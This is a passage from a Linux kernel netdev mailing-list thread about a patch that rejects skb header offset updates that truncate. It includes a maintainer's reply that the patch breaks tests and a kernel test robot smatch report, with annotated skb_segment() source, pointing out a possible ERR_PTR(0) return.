top_iph = ipv6_hdr(skb);
top_iph->version = 6;
@@ -374,7 +380,8 @@ static int xfrm6_beet_encap_add(struct xfrm_state *x, struct sk_buff *skb)
skb->network_header += IPV4_BEET_PHMAXLEN;
skb->mac_header = skb->network_header +
offsetof(struct ipv6hdr, nexthdr);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
ph = __skb_pull(skb, XFRM_MODE_SKB_CB(skb)->ihl - hdr_len);
xfrm6_beet_make_header(skb);
--
2.43.0
^ permalink raw reply related [flat|nested] 4+ messages in thread
* Re: [PATCH net 1/1] net: skbuff: reject skb header offset updates that truncate
2026-07-29 18:40 ` [PATCH net 1/1] " Zihan Xi
@ 2026-07-31 2:10 ` Jakub Kicinski
2026-07-31 12:07 ` Dan Carpenter
1 sibling, 0 replies; 4+ messages in thread
From: Jakub Kicinski @ 2026-07-31 2:10 UTC (permalink / raw)
To: Zihan Xi
Cc: netdev, davem, edumazet, pabeni, horms, steffen.klassert, herbert,
kerneljasonxing, kuniyu, bjorn, bigeasy, jiayuan.chen, willemb,
jlayton, gustavoars, michael.bommarito, runyu.xiao, kees,
lirongqing, vega
On Wed, 29 Jul 2026 18:40:33 +0000 Zihan Xi wrote:
> raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before
> storing skb header offsets in 16-bit fields. If the reserved headroom
> grows past the representable range, skb_reset_network_header() truncates
> the stored offset and the hdrincl path later copies the user header to
> the wrong location.
Breaks a bunch of tests, quickest repro will be udpgro_fwd.sh
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH net 1/1] net: skbuff: reject skb header offset updates that truncate
2026-07-29 18:40 ` [PATCH net 1/1] " Zihan Xi
2026-07-31 2:10 ` Jakub Kicinski
@ 2026-07-31 12:07 ` Dan Carpenter
1 sibling, 0 replies; 4+ messages in thread
From: Dan Carpenter @ 2026-07-31 12:07 UTC (permalink / raw)
To: oe-kbuild, Zihan Xi, netdev
Cc: lkp, oe-kbuild-all, davem, edumazet, pabeni, horms,
steffen.klassert, herbert, kerneljasonxing, kuniyu, bjorn,
bigeasy, jiayuan.chen, willemb, jlayton, gustavoars,
michael.bommarito, runyu.xiao, kees, lirongqing, vega, zihanx
Hi Zihan,
kernel test robot noticed the following build warnings:
url: https://github.com/intel-lab-lkp/linux/commits/Zihan-Xi/net-skbuff-reject-skb-header-offset-updates-that-truncate/20260730-175139
base: net/main
patch link: https://lore.kernel.org/r/06ac032651d91cfe4b2e246f6fc36e3d4b2f87d1.1785346409.git.zihanx%40nebusec.ai
patch subject: [PATCH net 1/1] net: skbuff: reject skb header offset updates that truncate
config: i386-randconfig-141-20260730 (https://download.01.org/0day-ci/archive/20260731/202607310427.nc6P5oqS-lkp@intel.com/config)
compiler: gcc-14 (Debian 14.2.0-19) 14.2.0
smatch: v0.5.0-9187-g5189e3fb
If you fix the issue in a separate patch/commit (i.e. not just a new version of
the same patch/commit), kindly add following tags
| Reported-by: kernel test robot <lkp@intel.com>
| Reported-by: Dan Carpenter <error27@gmail.com>
| Closes: https://lore.kernel.org/r/202607310427.nc6P5oqS-lkp@intel.com/
New smatch warnings:
net/core/skbuff.c:5208 skb_segment() warn: passing zero to 'ERR_PTR'
vim +/ERR_PTR +5208 net/core/skbuff.c
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 4855 struct sk_buff *skb_segment(struct sk_buff *head_skb,
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 4856 netdev_features_t features)
f4c50d990dcf11a Herbert Xu 2006-06-22 4857 {
f4c50d990dcf11a Herbert Xu 2006-06-22 4858 struct sk_buff *segs = NULL;
f4c50d990dcf11a Herbert Xu 2006-06-22 4859 struct sk_buff *tail = NULL;
1a4cedaf65491e6 Michael S. Tsirkin 2014-03-10 4860 struct sk_buff *list_skb = skb_shinfo(head_skb)->frag_list;
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 4861 unsigned int mss = skb_shinfo(head_skb)->gso_size;
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 4862 unsigned int doffset = head_skb->data - skb_mac_header(head_skb);
f4c50d990dcf11a Herbert Xu 2006-06-22 4863 unsigned int offset = doffset;
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 4864 unsigned int tnl_hlen = skb_tnl_header_len(head_skb);
802ab55adc39a06 Alexander Duyck 2016-04-10 4865 unsigned int partial_segs = 0;
f4c50d990dcf11a Herbert Xu 2006-06-22 4866 unsigned int headroom;
802ab55adc39a06 Alexander Duyck 2016-04-10 4867 unsigned int len = head_skb->len;
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4868 struct sk_buff *frag_skb;
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4869 skb_frag_t *frag;
ec5f06156423889 Pravin B Shelar 2013-03-07 4870 __be16 proto;
36c983824b6f17b Alexander Duyck 2016-05-02 4871 bool csum, sg;
f4c50d990dcf11a Herbert Xu 2006-06-22 4872 int err = -ENOMEM;
This is set to -ENOMEM but it doesn't work
f4c50d990dcf11a Herbert Xu 2006-06-22 4873 int i = 0;
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4874 int nfrags, pos;
f4c50d990dcf11a Herbert Xu 2006-06-22 4875
9e4b7a99a03aefd Jiri Benc 2022-11-02 4876 if ((skb_shinfo(head_skb)->gso_type & SKB_GSO_DODGY) &&
9e4b7a99a03aefd Jiri Benc 2022-11-02 4877 mss != GSO_BY_FRAGS && mss != skb_headlen(head_skb)) {
9e4b7a99a03aefd Jiri Benc 2022-11-02 4878 struct sk_buff *check_skb;
9e4b7a99a03aefd Jiri Benc 2022-11-02 4879
9e4b7a99a03aefd Jiri Benc 2022-11-02 4880 for (check_skb = list_skb; check_skb; check_skb = check_skb->next) {
9e4b7a99a03aefd Jiri Benc 2022-11-02 4881 if (skb_headlen(check_skb) && !check_skb->head_frag) {
9e4b7a99a03aefd Jiri Benc 2022-11-02 4882 /* gso_size is untrusted, and we have a frag_list with
9e4b7a99a03aefd Jiri Benc 2022-11-02 4883 * a linear non head_frag item.
3dcbdb134f32984 Shmulik Ladkani 2019-09-06 4884 *
9e4b7a99a03aefd Jiri Benc 2022-11-02 4885 * If head_skb's headlen does not fit requested gso_size,
9e4b7a99a03aefd Jiri Benc 2022-11-02 4886 * it means that the frag_list members do NOT terminate
9e4b7a99a03aefd Jiri Benc 2022-11-02 4887 * on exact gso_size boundaries. Hence we cannot perform
9e4b7a99a03aefd Jiri Benc 2022-11-02 4888 * skb_frag_t page sharing. Therefore we must fallback to
9e4b7a99a03aefd Jiri Benc 2022-11-02 4889 * copying the frag_list skbs; we do so by disabling SG.
3dcbdb134f32984 Shmulik Ladkani 2019-09-06 4890 */
3dcbdb134f32984 Shmulik Ladkani 2019-09-06 4891 features &= ~NETIF_F_SG;
9e4b7a99a03aefd Jiri Benc 2022-11-02 4892 break;
9e4b7a99a03aefd Jiri Benc 2022-11-02 4893 }
9e4b7a99a03aefd Jiri Benc 2022-11-02 4894 }
3dcbdb134f32984 Shmulik Ladkani 2019-09-06 4895 }
3dcbdb134f32984 Shmulik Ladkani 2019-09-06 4896
5882a07c72093dc Wei-Chun Chao 2014-06-08 4897 __skb_push(head_skb, doffset);
2f631133c40cd8e Miaohe Lin 2020-08-01 4898 proto = skb_network_protocol(head_skb, NULL);
ec5f06156423889 Pravin B Shelar 2013-03-07 4899 if (unlikely(!proto))
ec5f06156423889 Pravin B Shelar 2013-03-07 4900 return ERR_PTR(-EINVAL);
ec5f06156423889 Pravin B Shelar 2013-03-07 4901
36c983824b6f17b Alexander Duyck 2016-05-02 4902 sg = !!(features & NETIF_F_SG);
f245d079c1d11dc Alexander Duyck 2016-02-05 4903 csum = !!can_checksum_protocol(features, proto);
7e2b10c1e52ca37 Tom Herbert 2014-06-04 4904
07b26c9454a2a19 Steffen Klassert 2016-09-19 4905 if (sg && csum && (mss != GSO_BY_FRAGS)) {
07b26c9454a2a19 Steffen Klassert 2016-09-19 4906 if (!(features & NETIF_F_GSO_PARTIAL)) {
07b26c9454a2a19 Steffen Klassert 2016-09-19 4907 struct sk_buff *iter;
43170c4e0ba709c Ilan Tayari 2017-04-19 4908 unsigned int frag_len;
07b26c9454a2a19 Steffen Klassert 2016-09-19 4909
07b26c9454a2a19 Steffen Klassert 2016-09-19 4910 if (!list_skb ||
07b26c9454a2a19 Steffen Klassert 2016-09-19 4911 !net_gso_ok(features, skb_shinfo(head_skb)->gso_type))
07b26c9454a2a19 Steffen Klassert 2016-09-19 4912 goto normal;
07b26c9454a2a19 Steffen Klassert 2016-09-19 4913
43170c4e0ba709c Ilan Tayari 2017-04-19 4914 /* If we get here then all the required
43170c4e0ba709c Ilan Tayari 2017-04-19 4915 * GSO features except frag_list are supported.
43170c4e0ba709c Ilan Tayari 2017-04-19 4916 * Try to split the SKB to multiple GSO SKBs
43170c4e0ba709c Ilan Tayari 2017-04-19 4917 * with no frag_list.
43170c4e0ba709c Ilan Tayari 2017-04-19 4918 * Currently we can do that only when the buffers don't
43170c4e0ba709c Ilan Tayari 2017-04-19 4919 * have a linear part and all the buffers except
43170c4e0ba709c Ilan Tayari 2017-04-19 4920 * the last are of the same length.
07b26c9454a2a19 Steffen Klassert 2016-09-19 4921 */
43170c4e0ba709c Ilan Tayari 2017-04-19 4922 frag_len = list_skb->len;
07b26c9454a2a19 Steffen Klassert 2016-09-19 4923 skb_walk_frags(head_skb, iter) {
43170c4e0ba709c Ilan Tayari 2017-04-19 4924 if (frag_len != iter->len && iter->next)
43170c4e0ba709c Ilan Tayari 2017-04-19 4925 goto normal;
eaffadbbb3f2711 Ilan Tayari 2017-04-08 4926 if (skb_headlen(iter) && !iter->head_frag)
07b26c9454a2a19 Steffen Klassert 2016-09-19 4927 goto normal;
07b26c9454a2a19 Steffen Klassert 2016-09-19 4928
07b26c9454a2a19 Steffen Klassert 2016-09-19 4929 len -= iter->len;
07b26c9454a2a19 Steffen Klassert 2016-09-19 4930 }
43170c4e0ba709c Ilan Tayari 2017-04-19 4931
43170c4e0ba709c Ilan Tayari 2017-04-19 4932 if (len != frag_len)
43170c4e0ba709c Ilan Tayari 2017-04-19 4933 goto normal;
07b26c9454a2a19 Steffen Klassert 2016-09-19 4934 }
07b26c9454a2a19 Steffen Klassert 2016-09-19 4935
802ab55adc39a06 Alexander Duyck 2016-04-10 4936 /* GSO partial only requires that we trim off any excess that
802ab55adc39a06 Alexander Duyck 2016-04-10 4937 * doesn't fit into an MSS sized block, so take care of that
802ab55adc39a06 Alexander Duyck 2016-04-10 4938 * now.
23d05d563b7e7b0 Eric Dumazet 2023-12-12 4939 * Cap len to not accidentally hit GSO_BY_FRAGS.
802ab55adc39a06 Alexander Duyck 2016-04-10 4940 */
23d05d563b7e7b0 Eric Dumazet 2023-12-12 4941 partial_segs = min(len, GSO_BY_FRAGS - 1) / mss;
d7fb5a80492169c Alexander Duyck 2016-05-02 4942 if (partial_segs > 1)
802ab55adc39a06 Alexander Duyck 2016-04-10 4943 mss *= partial_segs;
d7fb5a80492169c Alexander Duyck 2016-05-02 4944 else
d7fb5a80492169c Alexander Duyck 2016-05-02 4945 partial_segs = 0;
802ab55adc39a06 Alexander Duyck 2016-04-10 4946 }
802ab55adc39a06 Alexander Duyck 2016-04-10 4947
07b26c9454a2a19 Steffen Klassert 2016-09-19 4948 normal:
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 4949 headroom = skb_headroom(head_skb);
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 4950 pos = skb_headlen(head_skb);
f4c50d990dcf11a Herbert Xu 2006-06-22 4951
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4952 if (skb_orphan_frags(head_skb, GFP_ATOMIC))
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4953 return ERR_PTR(-ENOMEM);
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4954
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4955 nfrags = skb_shinfo(head_skb)->nr_frags;
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4956 frag = skb_shinfo(head_skb)->frags;
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4957 frag_skb = head_skb;
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4958
f4c50d990dcf11a Herbert Xu 2006-06-22 4959 do {
because we're in a do while loop.
f4c50d990dcf11a Herbert Xu 2006-06-22 4960 struct sk_buff *nskb;
8cb19905e9287a9 Michael S. Tsirkin 2014-03-10 4961 skb_frag_t *nskb_frag;
c8884edd0787489 Herbert Xu 2006-10-29 4962 int hsize;
f4c50d990dcf11a Herbert Xu 2006-06-22 4963 int size;
f4c50d990dcf11a Herbert Xu 2006-06-22 4964
3953c46c3ac7eef Marcelo Ricardo Leitner 2016-06-02 4965 if (unlikely(mss == GSO_BY_FRAGS)) {
3953c46c3ac7eef Marcelo Ricardo Leitner 2016-06-02 4966 len = list_skb->len;
3953c46c3ac7eef Marcelo Ricardo Leitner 2016-06-02 4967 } else {
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 4968 len = head_skb->len - offset;
f4c50d990dcf11a Herbert Xu 2006-06-22 4969 if (len > mss)
f4c50d990dcf11a Herbert Xu 2006-06-22 4970 len = mss;
3953c46c3ac7eef Marcelo Ricardo Leitner 2016-06-02 4971 }
f4c50d990dcf11a Herbert Xu 2006-06-22 4972
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 4973 hsize = skb_headlen(head_skb) - offset;
f4c50d990dcf11a Herbert Xu 2006-06-22 4974
dbd50f238decfe5 Xin Long 2021-01-15 4975 if (hsize <= 0 && i >= nfrags && skb_headlen(list_skb) &&
1a4cedaf65491e6 Michael S. Tsirkin 2014-03-10 4976 (skb_headlen(list_skb) == len || sg)) {
1a4cedaf65491e6 Michael S. Tsirkin 2014-03-10 4977 BUG_ON(skb_headlen(list_skb) > len);
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4978
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4979 nskb = skb_clone(list_skb, GFP_ATOMIC);
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4980 if (unlikely(!nskb))
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4981 goto err;
So on the second iteration "err" is zero.
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 4982
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4983 i = 0;
1a4cedaf65491e6 Michael S. Tsirkin 2014-03-10 4984 nfrags = skb_shinfo(list_skb)->nr_frags;
1a4cedaf65491e6 Michael S. Tsirkin 2014-03-10 4985 frag = skb_shinfo(list_skb)->frags;
1fd819ecb90cc9b Michael S. Tsirkin 2014-03-10 4986 frag_skb = list_skb;
1a4cedaf65491e6 Michael S. Tsirkin 2014-03-10 4987 pos += skb_headlen(list_skb);
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4988
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4989 while (pos < offset + len) {
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4990 BUG_ON(i >= nfrags);
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4991
4e1beba12d094c6 Michael S. Tsirkin 2014-03-10 4992 size = skb_frag_size(frag);
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4993 if (pos + size > offset + len)
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4994 break;
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4995
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4996 i++;
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4997 pos += size;
4e1beba12d094c6 Michael S. Tsirkin 2014-03-10 4998 frag++;
9d8506cc2d7ea1f Herbert Xu 2013-11-21 4999 }
89319d3801d1d3a Herbert Xu 2008-12-15 5000
1a4cedaf65491e6 Michael S. Tsirkin 2014-03-10 5001 list_skb = list_skb->next;
89319d3801d1d3a Herbert Xu 2008-12-15 5002
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5003 if (unlikely(pskb_trim(nskb, len))) {
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5004 kfree_skb(nskb);
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5005 goto err;
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5006 }
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5007
ec47ea824774046 Alexander Duyck 2012-05-04 5008 hsize = skb_end_offset(nskb);
89319d3801d1d3a Herbert Xu 2008-12-15 5009 if (skb_cow_head(nskb, doffset + headroom)) {
89319d3801d1d3a Herbert Xu 2008-12-15 5010 kfree_skb(nskb);
89319d3801d1d3a Herbert Xu 2008-12-15 5011 goto err;
89319d3801d1d3a Herbert Xu 2008-12-15 5012 }
89319d3801d1d3a Herbert Xu 2008-12-15 5013
ec47ea824774046 Alexander Duyck 2012-05-04 5014 nskb->truesize += skb_end_offset(nskb) - hsize;
89319d3801d1d3a Herbert Xu 2008-12-15 5015 skb_release_head_state(nskb);
89319d3801d1d3a Herbert Xu 2008-12-15 5016 __skb_push(nskb, doffset);
89319d3801d1d3a Herbert Xu 2008-12-15 5017 } else {
00b229f762b020e Paolo Abeni 2021-01-19 5018 if (hsize < 0)
00b229f762b020e Paolo Abeni 2021-01-19 5019 hsize = 0;
dbd50f238decfe5 Xin Long 2021-01-15 5020 if (hsize > len || !sg)
dbd50f238decfe5 Xin Long 2021-01-15 5021 hsize = len;
dbd50f238decfe5 Xin Long 2021-01-15 5022
c93bdd0e03e8485 Mel Gorman 2012-07-31 5023 nskb = __alloc_skb(hsize + doffset + headroom,
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 5024 GFP_ATOMIC, skb_alloc_rx_flag(head_skb),
c93bdd0e03e8485 Mel Gorman 2012-07-31 5025 NUMA_NO_NODE);
89319d3801d1d3a Herbert Xu 2008-12-15 5026
89319d3801d1d3a Herbert Xu 2008-12-15 5027 if (unlikely(!nskb))
89319d3801d1d3a Herbert Xu 2008-12-15 5028 goto err;
89319d3801d1d3a Herbert Xu 2008-12-15 5029
89319d3801d1d3a Herbert Xu 2008-12-15 5030 skb_reserve(nskb, headroom);
89319d3801d1d3a Herbert Xu 2008-12-15 5031 __skb_put(nskb, doffset);
89319d3801d1d3a Herbert Xu 2008-12-15 5032 }
89319d3801d1d3a Herbert Xu 2008-12-15 5033
f4c50d990dcf11a Herbert Xu 2006-06-22 5034 if (segs)
f4c50d990dcf11a Herbert Xu 2006-06-22 5035 tail->next = nskb;
f4c50d990dcf11a Herbert Xu 2006-06-22 5036 else
f4c50d990dcf11a Herbert Xu 2006-06-22 5037 segs = nskb;
f4c50d990dcf11a Herbert Xu 2006-06-22 5038 tail = nskb;
f4c50d990dcf11a Herbert Xu 2006-06-22 5039
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 5040 __copy_skb_header(nskb, head_skb);
f4c50d990dcf11a Herbert Xu 2006-06-22 5041
b0cf97975a1cf81 Zihan Xi 2026-07-29 5042 err = skb_headers_offset_update_careful(nskb, skb_headroom(nskb) - headroom);
b0cf97975a1cf81 Zihan Xi 2026-07-29 5043 if (unlikely(err))
b0cf97975a1cf81 Zihan Xi 2026-07-29 5044 goto err;
fcdfe3a7fa4cb74 Vlad Yasevich 2014-07-31 5045 skb_reset_mac_len(nskb);
68c331631143f5f Pravin B Shelar 2013-02-14 5046
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 5047 skb_copy_from_linear_data_offset(head_skb, -tnl_hlen,
68c331631143f5f Pravin B Shelar 2013-02-14 5048 nskb->data - tnl_hlen,
68c331631143f5f Pravin B Shelar 2013-02-14 5049 doffset + tnl_hlen);
89319d3801d1d3a Herbert Xu 2008-12-15 5050
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5051 if (nskb->len == len + doffset)
1cdbcb7957cf9e5 Simon Horman 2013-05-19 5052 goto perform_csum_check;
89319d3801d1d3a Herbert Xu 2008-12-15 5053
7fbeffed77c130e Alexander Duyck 2016-02-05 5054 if (!sg) {
1454c9fa9106584 Yadu Kishore 2020-03-17 5055 if (!csum) {
7fbeffed77c130e Alexander Duyck 2016-02-05 5056 if (!nskb->remcsum_offload)
6f85a124d819e1c Herbert Xu 2008-08-15 5057 nskb->ip_summed = CHECKSUM_NONE;
764434562270971 Alexander Duyck 2016-02-05 5058 SKB_GSO_CB(nskb)->csum =
764434562270971 Alexander Duyck 2016-02-05 5059 skb_copy_and_csum_bits(head_skb, offset,
1454c9fa9106584 Yadu Kishore 2020-03-17 5060 skb_put(nskb,
1454c9fa9106584 Yadu Kishore 2020-03-17 5061 len),
8d5930dfb7edbf1 Al Viro 2020-07-10 5062 len);
7e2b10c1e52ca37 Tom Herbert 2014-06-04 5063 SKB_GSO_CB(nskb)->csum_start =
de843723f9b9891 Tom Herbert 2014-06-25 5064 skb_headroom(nskb) + doffset;
1454c9fa9106584 Yadu Kishore 2020-03-17 5065 } else {
c624c58e08b1510 lily 2022-08-22 5066 if (skb_copy_bits(head_skb, offset, skb_put(nskb, len), len))
c624c58e08b1510 lily 2022-08-22 5067 goto err;
1454c9fa9106584 Yadu Kishore 2020-03-17 5068 }
f4c50d990dcf11a Herbert Xu 2006-06-22 5069 continue;
f4c50d990dcf11a Herbert Xu 2006-06-22 5070 }
f4c50d990dcf11a Herbert Xu 2006-06-22 5071
8cb19905e9287a9 Michael S. Tsirkin 2014-03-10 5072 nskb_frag = skb_shinfo(nskb)->frags;
f4c50d990dcf11a Herbert Xu 2006-06-22 5073
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 5074 skb_copy_from_linear_data_offset(head_skb, offset,
d626f62b11e00c1 Arnaldo Carvalho de Melo 2007-03-27 5075 skb_put(nskb, hsize), hsize);
f4c50d990dcf11a Herbert Xu 2006-06-22 5076
48f6a5356a33dd7 Hyunwoo Kim 2026-05-16 5077 skb_shinfo(nskb)->flags |= (skb_shinfo(head_skb)->flags |
48f6a5356a33dd7 Hyunwoo Kim 2026-05-16 5078 skb_shinfo(frag_skb)->flags) &
06b4feb37e64e54 Jonathan Lemon 2021-01-06 5079 SKBFL_SHARED_FRAG;
cef401de7be8c4e Eric Dumazet 2013-01-25 5080
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 5081 if (skb_zerocopy_clone(nskb, frag_skb, GFP_ATOMIC))
bf5c25d608613ea Willem de Bruijn 2017-12-22 5082 goto err;
bf5c25d608613ea Willem de Bruijn 2017-12-22 5083
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5084 while (pos < offset + len) {
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5085 if (i >= nfrags) {
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 5086 if (skb_orphan_frags(list_skb, GFP_ATOMIC) ||
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 5087 skb_zerocopy_clone(nskb, list_skb,
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 5088 GFP_ATOMIC))
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 5089 goto err;
2ea35288c83b3d5 Mohamed Khalfella 2023-08-31 5090
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5091 i = 0;
1a4cedaf65491e6 Michael S. Tsirkin 2014-03-10 5092 nfrags = skb_shinfo(list_skb)->nr_frags;
1a4cedaf65491e6 Michael S. Tsirkin 2014-03-10 5093 frag = skb_shinfo(list_skb)->frags;
1fd819ecb90cc9b Michael S. Tsirkin 2014-03-10 5094 frag_skb = list_skb;
48f6a5356a33dd7 Hyunwoo Kim 2026-05-16 5095
48f6a5356a33dd7 Hyunwoo Kim 2026-05-16 5096 skb_shinfo(nskb)->flags |= skb_shinfo(frag_skb)->flags & SKBFL_SHARED_FRAG;
48f6a5356a33dd7 Hyunwoo Kim 2026-05-16 5097
13acc94eff122b2 Yonghong Song 2018-03-21 5098 if (!skb_headlen(list_skb)) {
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5099 BUG_ON(!nfrags);
13acc94eff122b2 Yonghong Song 2018-03-21 5100 } else {
13acc94eff122b2 Yonghong Song 2018-03-21 5101 BUG_ON(!list_skb->head_frag);
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5102
13acc94eff122b2 Yonghong Song 2018-03-21 5103 /* to make room for head_frag. */
13acc94eff122b2 Yonghong Song 2018-03-21 5104 i--;
13acc94eff122b2 Yonghong Song 2018-03-21 5105 frag--;
13acc94eff122b2 Yonghong Song 2018-03-21 5106 }
bf5c25d608613ea Willem de Bruijn 2017-12-22 5107
1a4cedaf65491e6 Michael S. Tsirkin 2014-03-10 5108 list_skb = list_skb->next;
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5109 }
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5110
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5111 if (unlikely(skb_shinfo(nskb)->nr_frags >=
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5112 MAX_SKB_FRAGS)) {
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5113 net_warn_ratelimited(
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5114 "skb_segment: too many frags: %u %u\n",
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5115 pos, mss);
ff907a11a0d68a7 Eric Dumazet 2018-07-19 5116 err = -EINVAL;
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5117 goto err;
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5118 }
9d8506cc2d7ea1f Herbert Xu 2013-11-21 5119
13acc94eff122b2 Yonghong Song 2018-03-21 5120 *nskb_frag = (i < 0) ? skb_head_frag_to_page_desc(frag_skb) : *frag;
173e7622ccb3f46 Mina Almasry 2024-05-02 5121 __skb_frag_ref(nskb_frag);
8cb19905e9287a9 Michael S. Tsirkin 2014-03-10 5122 size = skb_frag_size(nskb_frag);
f4c50d990dcf11a Herbert Xu 2006-06-22 5123
f4c50d990dcf11a Herbert Xu 2006-06-22 5124 if (pos < offset) {
b54c9d5bd6e38ed Jonathan Lemon 2019-07-30 5125 skb_frag_off_add(nskb_frag, offset - pos);
8cb19905e9287a9 Michael S. Tsirkin 2014-03-10 5126 skb_frag_size_sub(nskb_frag, offset - pos);
f4c50d990dcf11a Herbert Xu 2006-06-22 5127 }
f4c50d990dcf11a Herbert Xu 2006-06-22 5128
89319d3801d1d3a Herbert Xu 2008-12-15 5129 skb_shinfo(nskb)->nr_frags++;
f4c50d990dcf11a Herbert Xu 2006-06-22 5130
f4c50d990dcf11a Herbert Xu 2006-06-22 5131 if (pos + size <= offset + len) {
f4c50d990dcf11a Herbert Xu 2006-06-22 5132 i++;
4e1beba12d094c6 Michael S. Tsirkin 2014-03-10 5133 frag++;
f4c50d990dcf11a Herbert Xu 2006-06-22 5134 pos += size;
f4c50d990dcf11a Herbert Xu 2006-06-22 5135 } else {
8cb19905e9287a9 Michael S. Tsirkin 2014-03-10 5136 skb_frag_size_sub(nskb_frag, pos + size - (offset + len));
89319d3801d1d3a Herbert Xu 2008-12-15 5137 goto skip_fraglist;
f4c50d990dcf11a Herbert Xu 2006-06-22 5138 }
f4c50d990dcf11a Herbert Xu 2006-06-22 5139
8cb19905e9287a9 Michael S. Tsirkin 2014-03-10 5140 nskb_frag++;
f4c50d990dcf11a Herbert Xu 2006-06-22 5141 }
f4c50d990dcf11a Herbert Xu 2006-06-22 5142
89319d3801d1d3a Herbert Xu 2008-12-15 5143 skip_fraglist:
f4c50d990dcf11a Herbert Xu 2006-06-22 5144 nskb->data_len = len - hsize;
f4c50d990dcf11a Herbert Xu 2006-06-22 5145 nskb->len += nskb->data_len;
f4c50d990dcf11a Herbert Xu 2006-06-22 5146 nskb->truesize += nskb->data_len;
ec5f06156423889 Pravin B Shelar 2013-03-07 5147
1cdbcb7957cf9e5 Simon Horman 2013-05-19 5148 perform_csum_check:
7fbeffed77c130e Alexander Duyck 2016-02-05 5149 if (!csum) {
ff907a11a0d68a7 Eric Dumazet 2018-07-19 5150 if (skb_has_shared_frag(nskb) &&
ff907a11a0d68a7 Eric Dumazet 2018-07-19 5151 __skb_linearize(nskb))
ddff00d420432d5 Alexander Duyck 2016-02-05 5152 goto err;
ff907a11a0d68a7 Eric Dumazet 2018-07-19 5153
7fbeffed77c130e Alexander Duyck 2016-02-05 5154 if (!nskb->remcsum_offload)
ec5f06156423889 Pravin B Shelar 2013-03-07 5155 nskb->ip_summed = CHECKSUM_NONE;
764434562270971 Alexander Duyck 2016-02-05 5156 SKB_GSO_CB(nskb)->csum =
764434562270971 Alexander Duyck 2016-02-05 5157 skb_checksum(nskb, doffset,
764434562270971 Alexander Duyck 2016-02-05 5158 nskb->len - doffset, 0);
7e2b10c1e52ca37 Tom Herbert 2014-06-04 5159 SKB_GSO_CB(nskb)->csum_start =
7e2b10c1e52ca37 Tom Herbert 2014-06-04 5160 skb_headroom(nskb) + doffset;
ec5f06156423889 Pravin B Shelar 2013-03-07 5161 }
df5771ffefb13f8 Michael S. Tsirkin 2014-03-10 5162 } while ((offset += len) < head_skb->len);
f4c50d990dcf11a Herbert Xu 2006-06-22 5163
bec3cfdca36bf43 Eric Dumazet 2014-10-03 5164 /* Some callers want to get the end of the list.
bec3cfdca36bf43 Eric Dumazet 2014-10-03 5165 * Put it in segs->prev to avoid walking the list.
bec3cfdca36bf43 Eric Dumazet 2014-10-03 5166 * (see validate_xmit_skb_list() for example)
bec3cfdca36bf43 Eric Dumazet 2014-10-03 5167 */
bec3cfdca36bf43 Eric Dumazet 2014-10-03 5168 segs->prev = tail;
432c856fcf45c46 Toshiaki Makita 2014-10-27 5169
802ab55adc39a06 Alexander Duyck 2016-04-10 5170 if (partial_segs) {
